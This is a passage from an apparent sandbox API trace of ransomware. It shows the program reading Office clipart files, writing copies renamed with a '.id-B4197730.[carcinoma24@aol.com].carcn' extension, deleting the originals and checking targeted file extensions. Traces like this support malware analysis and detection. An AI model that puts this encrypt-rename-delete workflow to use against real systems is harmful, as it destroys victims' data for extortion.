"c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00361_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4ac [0281.075] SetFilePointerEx (in: hFile=0x4ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d1fec0 | out: lpNewFilePointer=0x0) returned 1 [0281.075] SetFilePointerEx (in: hFile=0x4ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d1fec0 | out: lpNewFilePointer=0x0) returned 1 [0281.075] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00361_.WMF.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00361_.wmf.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x414 [0281.076] GetLastError () returned 0x0 [0281.076] ReadFile (in: hFile=0x4ac, lpBuffer=0x382f020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d1fecc, lpOverlapped=0x0 | out: lpBuffer=0x382f020*, lpNumberOfBytesRead=0x2d1fecc*=0xfea, lpOverlapped=0x0) returned 1 [0281.488] WriteFile (in: hFile=0x414, lpBuffer=0x382f020*, nNumberOfBytesToWrite=0xff0, lpNumberOfBytesWritten=0x2d1fc94, lpOverlapped=0x0 | out: lpBuffer=0x382f020*, lpNumberOfBytesWritten=0x2d1fc94*=0xff0, lpOverlapped=0x0) returned 1 [0281.489] ReadFile (in: hFile=0x4ac, lpBuffer=0x382f020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d1fecc, lpOverlapped=0x0 | out: lpBuffer=0x382f020*, lpNumberOfBytesRead=0x2d1fecc*=0x0, lpOverlapped=0x0) returned 1 [0281.489] WriteFile (in: hFile=0x414, lpBuffer=0x382f020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d1fc94, lpOverlapped=0x0 | out: lpBuffer=0x382f020*, lpNumberOfBytesWritten=0x2d1fc94*=0xec, lpOverlapped=0x0) returned 1 [0281.489] SetEndOfFile (hFile=0x414) returned 1 [0281.489] CloseHandle (hObject=0x414) returned 1 [0281.489] SetFilePointerEx (in: hFile=0x4ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d1fec0 | out: lpNewFilePointer=0x0) returned 1 [0281.489] SetEndOfFile (hFile=0x4ac) returned 1 [0281.494] CloseHandle (hObject=0x4ac) returned 1 [0281.494] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00361_.WMF.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x220) returned 1 [0281.494] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00361_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00361_.wmf")) returned 1 [0281.496] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00361_.WMF") returned 68 [0281.496] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00361_.WMF") returned 68 [0281.496] lstrlenW (lpString=".doc") returned 4 [0281.496] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0281.496] lstrlenW (lpString=".docx") returned 5 [0281.496] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0281.496] lstrlenW (lpString=".pdf") returned 4 [0281.496] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0281.496] lstrlenW (lpString=".xls") returned 4 [0281.496] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0281.496] lstrlenW (lpString=".xlsx") returned 5 [0281.496] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0281.496] lstrlenW (lpString=".ppt") returned 4 [0281.496] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0281.496] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00361_.WMF") returned 68 [0281.496] lstrlenW (lpString=".zip") returned 4 [0281.496] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0281.496] lstrlenW (lpString=".rar") returned 4 [0281.496] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0281.496] lstrlenW (lpString=".bz2") returned 4 [0281.496] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0281.496] lstrlenW (lpString=".7z") returned 3 [0281.496] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0281.496] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00361_.WMF") returned 68 [0281.496] lstrlenW (lpString=".dbf") returned 4 [0281.497] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0281.497] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00361_.WMF") returned 68 [0281.497] lstrlenW (lpString=".1cd") returned 4 [0281.497] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0281.497] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00361_.WMF") returned 68 [0281.497] lstrlenW (lpString=".jpg") returned 4 [0281.497] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0281.497] GetFileSizeEx (in: hFile=0x4ac, lpFileSize=0x2d1ff14 | out: lpFileSize=0x2d1ff14*=5098) returned 1 [0281.497] CloseHandle (hObject=0x4ac) returned 1 [0281.498] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00438_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00438_.wmf")) returned 0x220 [0281.498] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00438_.WMF.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00438_.wmf.id-b4197730.[carcinoma24@aol.com].carcn")) returned 0xffffffff [0281.498] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00438_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00438_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4ac [0281.498] SetFilePointerEx (in: hFile=0x4ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d1fec0 | out: lpNewFilePointer=0x0) returned 1 [0281.499] SetFilePointerEx (in: hFile=0x4ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d1fec0 | out: lpNewFilePointer=0x0) returned 1 [0281.499] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00438_.WMF.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00438_.wmf.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x414 [0281.500] GetLastError () returned 0x0 [0281.500] ReadFile (in: hFile=0x4ac, lpBuffer=0x382f020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d1fecc, lpOverlapped=0x0 | out: lpBuffer=0x382f020*, lpNumberOfBytesRead=0x2d1fecc*=0x13ea, lpOverlapped=0x0) returned 1 [0281.628] WriteFile (in: hFile=0x414, lpBuffer=0x382f020*, nNumberOfBytesToWrite=0x13f0, lpNumberOfBytesWritten=0x2d1fc94, lpOverlapped=0x0 | out: lpBuffer=0x382f020*, lpNumberOfBytesWritten=0x2d1fc94*=0x13f0, lpOverlapped=0x0) returned 1 [0281.629] ReadFile (in: hFile=0x4ac, lpBuffer=0x382f020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d1fecc, lpOverlapped=0x0 | out: lpBuffer=0x382f020*, lpNumberOfBytesRead=0x2d1fecc*=0x0, lpOverlapped=0x0) returned 1 [0281.629] WriteFile (in: hFile=0x414, lpBuffer=0x382f020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d1fc94, lpOverlapped=0x0 | out: lpBuffer=0x382f020*, lpNumberOfBytesWritten=0x2d1fc94*=0xec, lpOverlapped=0x0) returned 1 [0281.629] SetEndOfFile (hFile=0x414) returned 1 [0281.629] CloseHandle (hObject=0x414) returned 1 [0281.629] SetFilePointerEx (in: hFile=0x4ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d1fec0 | out: lpNewFilePointer=0x0) returned 1 [0281.629] SetEndOfFile (hFile=0x4ac) returned 1 [0281.632] CloseHandle (hObject=0x4ac) returned 1 [0281.632] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00438_.WMF.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x220) returned 1 [0281.633] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00438_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00438_.wmf")) returned 1 [0281.634] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00438_.WMF") returned 68 [0281.634] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00438_.WMF") returned 68 [0281.634] lstrlenW (lpString=".doc") returned 4 [0281.634] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0281.634] lstrlenW (lpString=".docx") returned 5 [0281.634] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0281.634] lstrlenW (lpString=".pdf") returned 4 [0281.634] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0281.634] lstrlenW (lpString=".xls") returned 4 [0281.634] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0281.634] lstrlenW (lpString=".xlsx") returned 5 [0281.634] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0281.634] lstrlenW (lpString=".ppt") returned 4 [0281.634] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0281.634] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00438_.WMF") returned 68 [0281.634] lstrlenW (lpString=".zip") returned 4 [0281.634] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0281.634] lstrlenW (lpString=".rar") returned 4 [0281.634] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0281.634] lstrlenW (lpString=".bz2") returned 4 [0281.634] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0281.634] lstrlenW (lpString=".7z") returned 3 [0281.634] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0281.634] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00438_.WMF") returned 68 [0281.634] lstrlenW (lpString=".dbf") returned 4 [0281.634] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0281.634] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00438_.WMF") returned 68 [0281.634] lstrlenW (lpString=".1cd") returned 4 [0281.635] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0281.635] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00438_.WMF") returned 68 [0281.635] lstrlenW (lpString=".jpg") returned 4 [0281.635] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0281.636] GetFileSizeEx (in: hFile=0x4ac, lpFileSize=0x2d1ff14 | out: lpFileSize=0x2d1ff14*=17406) returned 1 [0281.636] CloseHandle (hObject=0x4ac) returned 1 [0281.636] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00459_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00459_.wmf")) returned 0x220 [0281.636] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00459_.WMF.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00459_.wmf.id-b4197730.[carcinoma24@aol.com].carcn")) returned 0xffffffff [0281.636] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00459_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00459_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4ac [0281.637] SetFilePointerEx (in: hFile=0x4ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d1fec0 | out: lpNewFilePointer=0x0) returned 1 [0281.637] SetFilePointerEx (in: hFile=0x4ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d1fec0 | out: lpNewFilePointer=0x0) returned 1 [0281.637] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00459_.WMF.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00459_.wmf.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x414 [0281.638] GetLastError () returned 0x0 [0281.638] ReadFile (in: hFile=0x4ac, lpBuffer=0x382f020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d1fecc, lpOverlapped=0x0 | out: lpBuffer=0x382f020*, lpNumberOfBytesRead=0x2d1fecc*=0x43fe, lpOverlapped=0x0) returned 1 [0281.712] WriteFile (in: hFile=0x414, lpBuffer=0x382f020*, nNumberOfBytesToWrite=0x4400, lpNumberOfBytesWritten=0x2d1fc94, lpOverlapped=0x0 | out: lpBuffer=0x382f020*, lpNumberOfBytesWritten=0x2d1fc94*=0x4400, lpOverlapped=0x0) returned 1 [0281.713] ReadFile (in: hFile=0x4ac, lpBuffer=0x382f020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d1fecc, lpOverlapped=0x0 | out: lpBuffer=0x382f020*, lpNumberOfBytesRead=0x2d1fecc*=0x0, lpOverlapped=0x0) returned 1 [0281.714] WriteFile (in: hFile=0x414, lpBuffer=0x382f020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d1fc94, lpOverlapped=0x0 | out: lpBuffer=0x382f020*, lpNumberOfBytesWritten=0x2d1fc94*=0xec, lpOverlapped=0x0) returned 1 [0281.714] SetEndOfFile (hFile=0x414) returned 1 [0281.714] CloseHandle (hObject=0x414) returned 1 [0281.714] SetFilePointerEx (in: hFile=0x4ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d1fec0 | out: lpNewFilePointer=0x0) returned 1 [0281.715] SetEndOfFile (hFile=0x4ac) returned 1 [0281.721] CloseHandle (hObject=0x4ac) returned 1 [0281.721] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00459_.WMF.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x220) returned 1 [0281.724] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00459_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00459_.wmf")) returned 1 [0281.727] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00459_.WMF") returned 68 [0281.728] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00459_.WMF") returned 68 [0281.728] lstrlenW (lpString=".doc") returned 4 [0281.728] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0281.728] lstrlenW (lpString=".docx") returned 5 [0281.728] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0281.728] lstrlenW (lpString=".pdf") returned 4 [0281.728] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0281.728] lstrlenW (lpString=".xls") returned 4 [0281.728] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0281.728] lstrlenW (lpString=".xlsx") returned 5 [0281.728] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0281.728] lstrlenW (lpString=".ppt") returned 4 [0281.728] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0281.728] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00459_.WMF") returned 68 [0281.728] lstrlenW (lpString=".zip") returned 4 [0281.728] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0281.728] lstrlenW (lpString=".rar") returned 4 [0281.728] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0281.728] lstrlenW (lpString=".bz2") returned 4 [0281.728] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0281.728] lstrlenW (lpString=".7z") returned 3 [0281.728] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0281.728] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00459_.WMF") returned 68 [0281.729] lstrlenW (lpString=".dbf") returned 4 [0281.729] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0281.729] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00459_.WMF") returned 68 [0281.729] lstrlenW (lpString=".1cd") returned 4 [0281.729] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0281.729] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00459_.WMF") returned 68 [0281.729] lstrlenW (lpString=".jpg") returned 4 [0281.729] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0282.160] GetFileSizeEx (in: hFile=0x554, lpFileSize=0x2d1ff14 | out: lpFileSize=0x2d1ff14*=5260) returned 1 [0282.160] CloseHandle (hObject=0x554) returned 1 [0282.160] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00544_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00544_.wmf")) returned 0x220 [0282.160] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00544_.WMF.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00544_.wmf.id-b4197730.[carcinoma24@aol.com].carcn")) returned 0xffffffff [0282.161] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00544_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00544_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x554 [0282.161] SetFilePointerEx (in: hFile=0x554, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d1fec0 | out: lpNewFilePointer=0x0) returned 1 [0282.161] SetFilePointerEx (in: hFile=0x554, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d1fec0 | out: lpNewFilePointer=0x0) returned 1 [0282.161] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00544_.WMF.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00544_.wmf.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4ac [0282.163] GetLastError () returned 0x0 [0282.163] ReadFile (in: hFile=0x554, lpBuffer=0x382f020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d1fecc, lpOverlapped=0x0 | out: lpBuffer=0x382f020*, lpNumberOfBytesRead=0x2d1fecc*=0x148c, lpOverlapped=0x0) returned 1 [0282.182] WriteFile (in: hFile=0x4ac, lpBuffer=0x382f020*, nNumberOfBytesToWrite=0x1490, lpNumberOfBytesWritten=0x2d1fc94, lpOverlapped=0x0 | out: lpBuffer=0x382f020*, lpNumberOfBytesWritten=0x2d1fc94*=0x1490, lpOverlapped=0x0) returned 1 [0282.183] ReadFile (in: hFile=0x554, lpBuffer=0x382f020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d1fecc, lpOverlapped=0x0 | out: lpBuffer=0x382f020*, lpNumberOfBytesRead=0x2d1fecc*=0x0, lpOverlapped=0x0) returned 1 [0282.184] WriteFile (in: hFile=0x4ac, lpBuffer=0x382f020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d1fc94, lpOverlapped=0x0 | out: lpBuffer=0x382f020*, lpNumberOfBytesWritten=0x2d1fc94*=0xec, lpOverlapped=0x0) returned 1 [0282.184] SetEndOfFile (hFile=0x4ac) returned 1 [0282.184] CloseHandle (hObject=0x4ac) returned 1 [0282.184] SetFilePointerEx (in: hFile=0x554, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d1fec0 | out: lpNewFilePointer=0x0) returned 1 [0282.184] SetEndOfFile (hFile=0x554) returned 1 [0282.188] CloseHandle (hObject=0x554) returned 1 [0282.188] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00544_.WMF.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x220) returned 1 [0282.198] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00544_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00544_.wmf")) returned 1 [0282.199] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00544_.WMF") returned 68 [0282.199] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00544_.WMF") returned 68 [0282.199] lstrlenW (lpString=".doc") returned 4 [0282.199] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0282.199] lstrlenW (lpString=".docx") returned 5 [0282.199] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0282.199] lstrlenW (lpString=".pdf") returned 4 [0282.199] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0282.199] lstrlenW (lpString=".xls") returned 4 [0282.199] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0282.199] lstrlenW (lpString=".xlsx") returned 5 [0282.199] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0282.199] lstrlenW (lpString=".ppt") returned 4 [0282.199] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0282.199] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00544_.WMF") returned 68 [0282.199] lstrlenW (lpString=".zip") returned 4 [0282.199] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0282.199] lstrlenW (lpString=".rar") returned 4 [0282.199] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0282.200] lstrlenW (lpString=".bz2") returned 4 [0282.200] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0282.200] lstrlenW (lpString=".7z") returned 3 [0282.200] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0282.200] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00544_.WMF") returned 68 [0282.200] lstrlenW (lpString=".dbf") returned 4 [0282.200] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0282.200] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00544_.WMF") returned 68 [0282.200] lstrlenW (lpString=".1cd") returned 4 [0282.200] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0282.200] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00544_.WMF") returned 68 [0282.200] lstrlenW (lpString=".jpg") returned 4 [0282.200] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0282.204] GetFileSizeEx (in: hFile=0x554, lpFileSize=0x2d1ff14 | out: lpFileSize=0x2d1ff14*=752) returned 1 [0282.204] CloseHandle (hObject=0x554) returned 1 [0282.204] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00586_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00586_.wmf")) returned 0x220 [0282.205] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00586_.WMF.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00586_.wmf.id-b4197730.[carcinoma24@aol.com].carcn")) returned 0xffffffff [0282.205] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00586_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00586_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x554 [0282.205] SetFilePointerEx (in: hFile=0x554, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d1fec0 | out: lpNewFilePointer=0x0) returned 1 [0282.206] SetFilePointerEx (in: hFile=0x554, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d1fec0 | out: lpNewFilePointer=0x0) returned 1 [0282.206] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00586_.WMF.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00586_.wmf.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4ac [0282.207] GetLastError () returned 0x0 [0282.207] ReadFile (in: hFile=0x554, lpBuffer=0x382f020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d1fecc, lpOverlapped=0x0 | out: lpBuffer=0x382f020*, lpNumberOfBytesRead=0x2d1fecc*=0x2f0, lpOverlapped=0x0) returned 1 [0282.241] WriteFile (in: hFile=0x4ac, lpBuffer=0x382f020*, nNumberOfBytesToWrite=0x300, lpNumberOfBytesWritten=0x2d1fc94, lpOverlapped=0x0 | out: lpBuffer=0x382f020*, lpNumberOfBytesWritten=0x2d1fc94*=0x300, lpOverlapped=0x0) returned 1 [0282.242] ReadFile (in: hFile=0x554, lpBuffer=0x382f020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d1fecc, lpOverlapped=0x0 | out: lpBuffer=0x382f020*, lpNumberOfBytesRead=0x2d1fecc*=0x0, lpOverlapped=0x0) returned 1 [0282.242] WriteFile (in: hFile=0x4ac, lpBuffer=0x382f020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d1fc94, lpOverlapped=0x0 | out: lpBuffer=0x382f020*, lpNumberOfBytesWritten=0x2d1fc94*=0xec, lpOverlapped=0x0) returned 1 [0282.242] SetEndOfFile (hFile=0x4ac) returned 1 [0282.243] CloseHandle (hObject=0x4ac) returned 1 [0282.243] SetFilePointerEx (in: hFile=0x554, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d1fec0 | out: lpNewFilePointer=0x0) returned 1 [0282.243] SetEndOfFile (hFile=0x554) returned 1 [0282.247] CloseHandle (hObject=0x554) returned 1 [0282.247] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft 